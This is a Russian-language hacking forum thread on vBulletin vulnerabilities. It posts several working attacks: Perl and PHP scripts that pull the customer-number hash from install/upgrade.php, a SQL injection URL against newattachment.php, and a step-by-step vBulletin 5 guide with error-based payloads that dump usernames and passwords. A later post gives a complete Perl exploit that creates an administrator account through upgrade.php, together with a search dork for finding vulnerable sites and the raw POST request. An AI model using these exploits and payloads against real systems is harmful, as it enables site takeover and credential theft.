Старый 22.03.2013, 03:05   #1
mehdi racha
 
Регистрация: 09.11.2012
Сообщений: 12
Репутация: 0
Thumbs up Уязвимости vBulletin

it's my first topic in rdot

vBulletin x.x.x Customer Area 0day

PHP код:
vBulletin x.x.x Customer Area 0day
Perl script got  leaked  so decided to post the perl script here

Code:
#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Request::Common;


system('cls');
system('title vBulletin Install Auto Exploiter');
print "\n ---------------------------------------";
print "\n vBulletin Install Auto Exploiter founded by pixel_death, n3tw0rk & z0ne\n";
print " ---------------------------------------\n";
print " + d4tabase.com -+- d4tabase.com + ";
print "\n ---------------------------------------\n";
print " coded by n0tch shoutz d4tabase crew ";
print "\n ---------------------------------------\n";


if($#ARGV == -1 or $#ARGV > 0)
{
print "\n usage: ./vBulletin.pl domain (without http://) \n\n";
exit;
}


$domain = $ARGV[0];
$install_dir = "install";
$full_domain = "http://$domain/$install_dir/upgrade.php";
chop($domain);


&search;




sub search
{
$url = $full_domain;
$lwp = LWP::UserAgent->new();
$lwp -> agent("Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8");
$request = $lwp->post($url, ["searchHash" => "Search"]);


print " Searching $domain ----\n ";
if ($request->content =~ /CUSTNUMBER = \"(.+)\";/)
{
print "Result : $1\n";
} else {
print "Hash: Hash not found!\n";
}
}






php exploit -
--------------------


<?php
set_time_limit
(0);


if(
$argc 2) {
    echo 
"Usage: {$argv[0]} http://site.ru/forum" PHP_EOL;
    exit;
}


$URL $argv[1];
$arr parse_url($URL);


### work with url
if(strpos($URL'?')) die("Ohh, your URL is not valid");
if(
substr($URL, -11) != '/'$URL $URL '/';
if(!
$arr['scheme']) $URL 'http://' $URL;


$headers get_headers($URL '/install/upgrade.php');
if(
substr($headers[0], 93) == '200') {
    
$source file_get_contents($URL "/install/upgrade.php");
}
elseif(
$headers get_headers($URL '/install/finalupgrage.php')) {
    if(
substr($headers[0], 93) == '200'$source file_get_contents($URL "/install/finalupgrage.php");
}
else die(
"something went wrong...");


preg_match_all('|var CUSTNUMBER = "(.*?)";|'$source$res);
foreach (
$res[1] as $hash) {
    echo 
"Hash: " $hash PHP_EOL;
    
$fp fopen("hash.txt""a+");
    
fwrite($fp$hash PHP_EOL);
}
?>
vbulletin 4.1.5 attachment SQLI
PHP код:
vbulletin 4.1.5 attachment SQLI
examine variables came across sq
-injection, as later found to be inherent to all vbulletin 4.1.5TitleVulnerability in vBulletin 4.1.5 DorkPowered by Powered by vBulletin 4.1.5 ConditionsThe account on the forumPermission to attach files to messages themes (attachmentsRegister -> go to the forum -> click a topic or if the board isyou can choose to create an article (the second option more work) -> at the bottom looking Attachments 'Manage Attachments' - > Open the window and setting "values ​​[f]" insert our SQL queryExample:

Code:
http://site.com/board/newattachment.php?do=assetmanager&values[f]=-1599+or(1,2)=(select*from(select+name_const(version(),1),name_const(version(),1))a)&contenttypeid=18&poststarttime=1360663633&posthash=4f5c850593e10c5450d9e880d58a56d8&insertinline=1
After thatwe see the standard error of the database offlinethus opening the source code of the page and see:


Code:
<! -  
Database error in vBulletin 4.1.5 :  

Invalid SQL :  

             
SELECT  
                 permissionsfrom 
,  Hidden ,  setpublish ,  publishdate ,  userid 
             FROM ds23fSDdfsdf_cms_node  
             WHERE  
                 nodeid  
= - 1599  or ( ) = ( Select from Select name_const version () , ), name_const version (), )) );  

MySQL Error    :  Duplicate column Name  .1.49-'5 '  
Error Number   :  1060  
Request Date   
:  Tuesday ,  February 12th  2013   @  01 12 33 PM  
Error Date     
:  Tuesday ,  February 12th  2013   @  01 12 33  


Address     
:  127.0.0.1  
Username       
:  Hacker  
Classname      
:  vB_Database  
MySQL Version  
:   
-> 
vBulletin 5 SQL Injection
PHP код:
vBulletin 5.0.0 all Beta releases SQL Injection Exploit 0day
_ _ _ _ _____ _____ ___ _____ _ ______ 
| | | | | | | | | | | |/ \ |_ _| (_) | ___
| |
_| | __ _ ___| | ___ _ __ _ _ __ __| | | |/' |_ _| |/' / /_\ \ | |_ __ ___ _ __ _ _ __ | |_ ___ _ __ __ _ ___ 
|/ _` |/ __| |/ / | | |/ _` | '__/ _` | | /| \ \/ / /| | _ | | | '__\| |/ _` | '_ \| _/ _ \| '__/ _` |/ \
| | | | (
_| | (__| <| |_| | (_| | | | (_| | \ |_/ /> <\ |_/ / | | | | | | | (_) | | (_| | | | | || (_) | | | (_| | __/
\
_| |_/\__,_|\___|_|\_\\__, |\__,_|_| \__,_| \___//_/\_\\___/\_| |_/ \_/_| \___/| |\__,_|_| |_\_| \___/|_| \__, |\___|
__/ | _/ | __/ | 
|
___/ |__/ |___
____ ____ __ _ ______ ____ ____ 
_ __
__ )__ __/ / /__ / /_(_)___ ____/ / __ \/ __ \____ ___ __
| | / / __ / / / / / / \/ __/ / __ \ /___ \ / / / / / / / __ `/ / / /
| |/ / /_/ / /_/ / / / __/ /_/ / / / / ____/ / / /_/ / /_/ / /_/ / /_/ / 
|___/_____/\__,_/_/_/\___/\__/_/_/ /_/ /_____/ \____/_____/\__,_/\__, / 
/____/

************************************************** ****************
#Title: vBulletin 5 SQL Injection > Beta Whatever
#Author: 0x0A
#Date: Dec 11, 2012
#Category: web application
#Type: SQL Injection
#Requirements: Firefox/Live HTTP Headers/
#Software Link: http://www.vbulletin.com/purchases/
http://www.vbulletin.com/features/
#Homepage: hackyard.net
***********.com
#Version: 5 and above(not older versions)
#Tested on: Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
#Demo sites to try: http://www.sultantheme.com/vb5connectforum/
http://vb5connect.com/bb/
************************************************** ****************



-------------------------------------------------------------------
-------------------------------------------------------------------
How to
-------------------------------------------------------------------
-------------------------------------------------------------------


-------------------------------------------------------------------
================================================== =================
-------------------------------------------------------------------
[#1] First of all, make an account to the vBulletin 5 forum,

http://img402.imageshack.us/img402/7784/69376730.png
-------------------------------------------------------------------
================================================== =================
-------------------------------------------------------------------



-------------------------------------------------------------------
================================================== =================
-------------------------------------------------------------------
[#2] After that, go to any topic and open Live HTTP Headers (https://addons.mozilla.org/en-us/fir...-http-headers/)

http://imageshack.us/a/img12/305/89268702.png
-------------------------------------------------------------------
================================================== =================
-------------------------------------------------------------------


-------------------------------------------------------------------
================================================== =================
-------------------------------------------------------------------
[#3] After that click the Like button, you will receive almost the same result as me. Go to the first POST record as the picture below and click Replay button,

http://imageshack.us/a/img707/9990/68621087.png
-------------------------------------------------------------------
================================================== =================
-------------------------------------------------------------------


-------------------------------------------------------------------
================================================== =================
-------------------------------------------------------------------
[#4] Then, on Send POST Content use this:

-------------------------------------------------------------------------------------------------------------------------------------------------------------------
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x27,0x7e,password,0x27, 0x7e) FROM user LIMIT 1,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
-------------------------------------------------------------------------------------------------------------------------------------------------------------------

http://imageshack.us/a/img42/1590/26447606.png

//Note that to keep the noteid value as it was as default in the POST Content. Instead you
`ll get invalid noteid error.
The following SQLi command will fetch out the first record from user table(username/password).
-------------------------------------------------------------------
================================================== =================
-------------------------------------------------------------------




-------------------------------------------------------------------
================================================== =================
-------------------------------------------------------------------
[
#Other SQLi Syntaxes]

+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
Version():
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
nodeid=70) and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+



+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
User():
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
nodeid=70) and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+



+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
Database():
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
nodeid=70) and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+


+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
Database Print:
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7eFROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+



+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
Table Count:
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7eFROM `information_schema`.tables WHERE table_schema=0xHEXCODEOFDATABASE)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+



+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|Print 
Tables:
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7eFROM information_schema.tables Where table_schema=0xHEXCODEOFDATABASE LIMIT N,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+



+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
Columns of selected table:
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7eFROM `information_schema`.columns WHERE table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+



+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|
Fetch Out Data:
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+
nodeid=70) and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,column1,0x27,0x7e,column2,0x27,0x 7eFROM ANY_TABLE LIMIT N,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338
+------------------------------------------------------------------------------------------------------------------------------------------------------------------+

-------------------------------------------------------------------
================================================== =================
-------------------------------------------------------------------

|
' /
-- (*) --
>*<
>0<@<
>>>@<<*
>@>*<0<<<
>*>>@<<<@<<
>@>>0<<<*<<@<
>*>>0<<@<<<@<<<
>@>>*<<@<>*<<0<*<
\*/ >0>>*<<@<>0><<*<@<<
___\\U//___ >*>>@><0<<*>>@><*<0<<
|\\ | | \\| >@>>0<*<0>>@<<0<<<*<@<< 
| \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*<
|\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<<
Merry Xmas |\\_|_|&&_// ||*.*.*.*|_\\db//_ 
""""|'
.'.'.|~~|.*.*.*| ____|_
|'.'.'.|  |____|>>>>>>|
~~~~~~~~ '""""
`------'



----------------------------------------------------

==[ That
`s it!
==[ 
Thanks0x0A!
==[ 
Romania

---------------------------------------------------- 

http://pastebin.com/5hgWHFbj

Последний раз редактировалось mehdi racha; 22.03.2013 в 03:24..
mehdi racha вне форума   Ответить с цитированием
Старый 22.03.2013, 13:34   #2
cat1vo
 
Аватар для cat1vo
 
Регистрация: 08.10.2010
Сообщений: 38
Репутация: 5
По умолчанию

vBulletin x.x.x Customer Area 0day
Бага в upgrade.php не выдает ничего, кроме как хеша, для обновления форума.

vbulletin 4.1.5 attachment SQLI
Интересно, зачем мое описание надо было переводить на английский язык?))

vBulletin 5 SQL Injection
Это уязвимость уже давно в паблике гуляет!

Последний раз редактировалось cat1vo; 22.03.2013 в 14:29..
cat1vo вне форума   Ответить с цитированием
Старый 24.03.2013, 18:02   #3
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

это 1337, что оно делает здесь?

Последний раз редактировалось Pashkela; 25.03.2013 в 06:23..
Pashkela вне форума   Ответить с цитированием
Старый 25.03.2013, 00:04   #4
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 252
Репутация: 155
По умолчанию

Цитата:
Сообщение от Pashkela Посмотреть сообщение
это 1337, что оно делает здесь?
Это я оставил, что бы разобраться, уже второй раз постят без кода кавычкосователи с какими то непонятными объяснениями, потом удаляют =\
А это булка всё же.

Короче да, 4.1.5 в аттачах есть...

Выглядит это так, кому интересно:

/newattachment.php

PHP код:
 if ( 
    !(
$attachlib =& vB_Attachment_Store_Library::fetch_library($vbulle  tin$contenttypeid$vbulletin->GPC['categoryid'], $vbulletin->GPC['values'])) 
        OR 
    !
$attachlib->verify_permissions() 


/packages/vbattach/attach.php

PHP код:
class vB_Attachment_Store_Library 

... 
    public static function &
fetch_library(&$registry$contenttypeid$categoryid 0$values = array()) 
    {
        if (
self::$instance
        { 
            return 
self::$instance
        } 

        require_once(
DIR '/includes/class_bootstrap_framework.php'); 
        require_once(
DIR '/vb/types.php'); 
        
vB_Bootstrap_Framework::init(); 
        
$types vB_Types::instance(); 

        if (!(
$contenttypeid $types->getContentTypeID($contenttypeid))) 
        { 
            return 
false
        } 

        
$package $types->getContentTypePackage($contenttypeid); 
        
$class $types->getContentTypeClass($contenttypeid); 

        
$selectclass "vB_Attachment_Store_{$package}_{$class}"
        
$path DIR '/packages/' strtolower($package) . '/attach/' strtolower($class) . '.php'
        if (
file_exists($path)) 
        { 
            include_once(
$path);         ///packages/vbcms/attach/article.php  
            
if (class_exists($selectclass)) 
            { 
                
self::$instance = new $selectclass($registry$contenttypeid$categoryid$values); 
                return 
self::$instance
            } 
        } 
        return 
false
    } 


/packages/vbcms/attach/article.php

PHP код:
 public function verify_permissions($info = array()) 
    { 
        global 
$vbulletin

        if (
$info['contentid']) 
        { 
            
$this->contentid $info['contentid']; 
            return 
vBCMS_Permissions::canEdit($this->contentid); 
        } 

        if (!isset(
$this->contentid) and !vB::$vbulletin->GPC_exists['values']) 
        { 
            
vB::$vbulletin->input->clean_array_gpc('r', array( 
                
'f' => vB_Input::TYPE_UINT
                
'attachmentid' => vB_Input::TYPE_UINT 
            
)); 
        } 

        if (
vB::$vbulletin->GPC_exists['values'] and isset(vB::$vbulletin->GPC['values']['f'])) 
        { 
            
$this->contentid vB::$vbulletin->GPC['values']['f']; // вот косяк, переменная не фильтруется 
        

        if (isset(
$this->contentid)) 
        { 

            return 
vBCMS_Permissions::canDownload($this->contentid); 
        } 

/packages/vbcms/permissions.php

PHP код:
 public static function canDownload($nodeid
     { 

         require_once 
DIR '/includes/class_bootstrap_framework.php' 
         
vB_Bootstrap_Framework::init(); 

         if (! isset(
vB::$vbulletin->userinfo['permissions']['cms']) ) 
         { 
             
self::getUserPerms(); 
         } 

         if (
array_key_exists ($nodeidself::$permissionsfrom)) 
         { 
             
$permfrom self::$permissionsfrom[$nodeid]; 
         } 
         else 
         {
//вот через это!!! 
             
if (!$permfrom self::getPermissionsFrom($nodeid)) 
             { 
                 return 
false
             } 
         } 

/packages/vbcms/permissions.php

PHP код:
 private static function getPermissionsFrom($nodeid
     {
         if (!
$record vB::$vbulletin->db->query_first(
             SELECT 
                 permissionsfrom, hidden, setpublish, publishdate, userid 
             FROM " 
TABLE_PREFIX "cms_node 
             WHERE 
                 nodeid = 
$nodeid 
         "
)) 
         { 
             return 
false
         } 
как то так..
Смысл в том, что нужен именно Suite булковский, конечная функция как видите в /packages/vbcms/permissions.php, в чистом форуме этой папки попросту нету, там и запроса такого нету, таблицы которые в описании отсутствуют, ну и т.д.
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 13.11.2013, 15:02   #5
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
Сообщение от cat1vo Посмотреть сообщение
vBulletin x.x.x Customer Area 0day
Бага в upgrade.php не выдает ничего, кроме как хеша, для обновления форума.
вот это работает, создает нового админа, верифид

Код:
#!/usr/bin/perl
#
# Title: vBulletin remote admin injection exploit
# Author: Simo Ben youssef
# Contact: Simo_at_Morxploit_com
# Coded: 17 September 2013
# Published: 24 October 2013
# MorXploit Research
# http://www.MorXploit.com
#
# Vendor: vBulletin (www.vbulletin.com)
# Version: 4.1.x / 5.x.x
# Vulnerability: Remote admin injection
# Severity: High
# Status: Confirmed
#
# Exploit code description:
# Perl code to inject a new admin account through upgrade.php script.
#
# Vulnerability details:
# upgrade.php is vulnerable to a new admin account injection, the script doesn't require autentication when upgrading
# it only requires the customer number which can be extracted through the same script source code.
#
# Fix:
# Rename or delete the install folder until a fix is released.
#
# Author disclaimer:
# The information contained in this entire document is for educational, demonstration and testing purposes only.
# Author cannot be held responsible for any malicious use. Use at your own risk.
#
# Exploit usage:
#
# root@MorXploit:/home/simo/morx# perl morxvb.pl localhost
#
# ===================================================
# --- vbulletin admin injection exploit
# --- By: Simo Ben youssef <simo_at_morxploit_com>
# --- MorXploit Research www.MorXploit.com
# ===================================================
#[*] Trying to get customer number ... hold on!
# [+] Got xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!
#[*] Trying to MorXploit localhost ... hold on!
# [+] Admin account successfully injected!
# [+] Admin: MorXploit
# [+] Pass: m0rxpl017

use strict;
use IO::Socket;

if(!defined($ARGV[0])) {

system ('clear');
print "\n";
print "===================================================\n";
print "--- vbulletin admin injection exploit\n";
print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";
print "--- MorXploit Research www.MorXploit.com\n";
print "===================================================\n";

print "--- Usage: perl $0 target\n\n";
exit; }

my $site = $ARGV[0];

##### Change these as needed #####
my $user = "root";
my $passwd = "root";
my $email = "dev%40null.com";
my $path = "/install/upgrade.php";
##################################

my $accept = "Accept: */*";
my $ct = "application/x-www-form-urlencoded";
my $port = "80";

system ('clear');
print "\n";
print "===================================================\n";
print "--- vbulletin admin injection exploit\n";
print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";
print "--- MorXploit Research www.MorXploit.com\n";
print "===================================================\n";

my $sock = new IO::Socket::INET ( PeerAddr => "$site",PeerPort => "$port",Proto => "tcp"); die "\n[-] Can't creat socket: $!\n" unless $sock;

print "[*] Trying to get customer number ... hold on!\n";

print $sock "GET $path HTTP/1.1\n";
print $sock "Host: $site\n";
print $sock "$accept\n";
print $sock "Content-Type: $ct\n";
print $sock "Connection: Close\n\n";

my $gotcn;
while(my $cn = <$sock>) {
if ($cn =~ /CUSTNUMBER = \"(.*?)\"/){
$gotcn = $1;
}
}

if (!defined $gotcn) {
print "[-] Failed to get cus5.0.3tomer number! Nulled? Going to try anyway!\n";
}
else {
print "[+] Got $gotcn!\n";
}
my $xploit = "ajax=1&version=install&checktable=false&firstrun=false&step=7&startat=0&only=false&customerid=$gotcn&options[skiptemplatemerge]=0&response=yes&htmlsubmit=1&htmldata[username]=$user&htmldata[password]=$passwd&htmldata[confirmpassword]=$passwd&htmldata[email]=$email";
my $cl = length($xploit);
my $content = "Content-Length: $cl";

my $sock2 = new IO::Socket::INET ( PeerAddr => "$site",PeerPort => "$port",Proto => "tcp"); die "\n[-] Can't creat socket: $!\n" unless $sock;

print "[*] Trying to MorXploit $site ... hold on!\n";

print $sock2 "POST $path HTTP/1.1\n";
print $sock2 "Host: $site\n";
print $sock2 "$accept\n";
print $sock2 "Cookie: bbcustomerid=$gotcn\n";
print $sock2 "Content-Length: $cl\n";
print $sock2 "Content-Type: $ct\n";
print $sock2 "Connection: Close\n\n";
print $sock2 "$xploit\n\n";

while(my $result = <$sock2>){
if ($result =~ /Administrator account created/) {
print "[+] Admin account successfully injected!\n";
print "[+] Admin: $user\n";
print "[+] Pass: $passwd\n";
exit;
}
}
print "[-] Failed, something went wrong\n";
exit;
как пишут 4.1ххх-5.ххх

У меня сработало на 4.1.0, 4.2.0, 4.2.1, 5.0.0 beta, 5.0.3, 5.0.1

dork: intitle:vBulletin Upgrade System

Последний раз редактировалось Pashkela; 13.11.2013 в 15:49..
Pashkela вне форума   Ответить с цитированием
Старый 13.11.2013, 21:34   #6
vp$
 
Аватар для vp$
 
Регистрация: 13.07.2010
Сообщений: 70
Репутация: 8
По умолчанию

Цитата:
[*] Trying to get customer number ... hold on!
[-] Failed to get cus5.0.3tomer number! Nulled? Going to try anyway![*] Trying to MorXploit host ... hold on!
[-] Failed, something went wrong
везде так, непонятно откуда должен взять кастомер ключ
vp$ вне форума   Ответить с цитированием
Старый 13.11.2013, 22:34   #7
FIXER
 
Аватар для FIXER
 
Регистрация: 06.07.2010
Сообщений: 218
Репутация: 51
По умолчанию

Цитата:
[*] Trying to get customer number ... hold on!
[-] Failed to get customer number! Nulled? Going to try anyway!
[*] Trying to MorXploit bestmafia.com ... hold on!
[-] Failed, something went wrong
тоже так...
__________________
Без ТЗ результат ХЗ
FIXER вне форума   Ответить с цитированием
Старый 27.12.2013, 12:31   #8
lolka
 
Регистрация: 02.06.2013
Сообщений: 14
Репутация: 0
По умолчанию

Цитата:
везде так, непонятно откуда должен взять кастомер ключ
localhost/install/upgrade.php открываем сорцы, находим var CUSTNUMBER="тут_хэш"; <= это и есть customer number
Конечный сплоит ручками
PHP код:
POST /install/upgrade.php
ajax
=1&version=install&checktable=false&firstrun=false&step=7&startat=0&only=false&customerid=$CUSTNUMBER&options[skiptemplatemerge]=0&response=yes&htmlsubmit=1&htmldata[username]=root&htmldata[password]=root&htmldata[confirmpassword]=root&htmldata[email]=root@localhost.com 
lolka вне форума   Ответить с цитированием
Старый 28.03.2014, 21:01   #9
operator
 
Регистрация: 05.08.2012
Сообщений: 1
Репутация: 0
По умолчанию

Уважаемая общественность, случайно обнаружил на каком-то блоге инфу о том, что буквально вот вот вбуллетин пропатчили файл forumdisplay.php почти во всех версиях своего движка, решил поковырять, потенциально уязвимый кусок кода:

Код:
                // Allow POST based redirection...
                if ($vbulletin->GPC['postvars'] != '')
                {
                        if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false)
                        {
                                $temp = unserialize($check);
                                if ($temp['do'] == 'doenterpwd')
                                {
                                	... whatever
однако, параметр postvars который можно передать в GET вначале проходит проверку через функцию verify_client_string:
Код:
				function verify_client_string($string, $extra_entropy = '')
				{

				        if (substr($string, 0, 4) == 'B64:')
				        {
				                $firstpart = substr($string, 4, 40);
				                $return = substr($string, 44);
				                $decode = true;
				        }
				        else
				        {
				                $firstpart = substr($string, 0, 40);
				                $return = substr($string, 40);
				                $decode = false;
				        }

				        if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
				        {
				                return ($decode ? base64_decode($return) : $return);
				        }

				        return false;
				}
как эту сучку обмануть ума не приложу, поковырялся пару часов и эмпирическим путем установлено, что валидная строка должна быть вида:

39e8242ccce568bc820570cd6f064b0f0b4a001a-1-{i-2_s-32-.cfcd208495d565ef66e7dff9f98764da._}

где вторая часть, соотвественно, передаваемые на десиарилизацию данные, а первая...
был бы рад услышать любые мысли по поводу сабжа, можно сюда можно в лс
operator вне форума   Ответить с цитированием
Старый 28.03.2014, 21:23   #10
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 252
Репутация: 155
По умолчанию

И что ты собираешься с этим потом делать?
__________________
------------------
Jokester вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot